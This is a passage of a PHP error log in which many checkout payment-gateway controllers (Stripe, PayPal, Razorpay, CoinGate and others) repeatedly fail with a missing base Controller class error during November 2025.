/home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 00:20:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 00:21:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 00:24:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 00:25:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 00:29:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 00:30:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 [20-Nov-2025 00:31:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php on line 17 [20-Nov-2025 00:32:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 00:35:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [20-Nov-2025 00:36:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 00:37:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 00:38:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 00:39:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 00:42:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 00:43:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 00:49:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 00:51:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 00:52:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 00:53:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [20-Nov-2025 00:54:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 00:55:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 [20-Nov-2025 00:56:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 00:58:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 01:00:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 01:01:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 01:03:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php on line 17 [20-Nov-2025 01:11:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 01:12:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 01:13:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 01:14:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [20-Nov-2025 01:15:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 01:16:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 01:17:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 01:18:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 01:19:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 01:20:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 [20-Nov-2025 01:21:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 01:26:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 01:35:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 01:36:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 01:38:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 01:42:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 01:43:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 01:44:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 [20-Nov-2025 01:45:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 01:46:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [20-Nov-2025 01:47:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php on line 17 [20-Nov-2025 01:50:07 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 01:51:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 01:52:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 01:53:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 03:11:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 03:16:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [20-Nov-2025 03:19:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 03:21:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 03:23:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 03:25:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 03:27:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 03:29:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [20-Nov-2025 03:43:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php on line 22 [20-Nov-2025 03:44:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 03:46:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 03:47:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php on line 21 [20-Nov-2025 03:48:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 03:49:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php on line 13 [20-Nov-2025 04:00:51 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [20-Nov-2025 04:10:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [20-Nov-2025 04:11:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php on line 13 [20-Nov-2025 04:12:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php on line 21 [20-Nov-2025 04:13:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [20-Nov-2025 04:14:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [20-Nov-2025 04:15:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [20-Nov-2025 04:16:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 04:17:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [20-Nov-2025 04:18:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php on line 22 [20-Nov-2025 04:19:41 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 04:25:00 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 04:30:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php on line 21 [20-Nov-2025 04:33:02 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 04:34:03 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php on line 22 [20-Nov-2025 04:46:24 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 04:49:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [20-Nov-2025 04:54:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [20-Nov-2025 04:55:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php on line 22 [20-Nov-2025 04:56:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [20-Nov-2025 04:57:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php on line 21 [25-Nov-2025 02:31:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/AuthorizeController.php on line 15 [25-Nov-2025 02:31:30 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/ManualController.php on line 22 [25-Nov-2025 02:33:27 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/SkrillController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/SkrillController.php on line 14 [25-Nov-2025 02:55:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php:34 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/BlockIoController.php on line 34 [25-Nov-2025 03:01:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinGateController.php on line 20 [25-Nov-2025 03:02:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaystackController.php on line 11 [25-Nov-2025 03:04:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php:15 Stack trace: #0 {main} thrown in 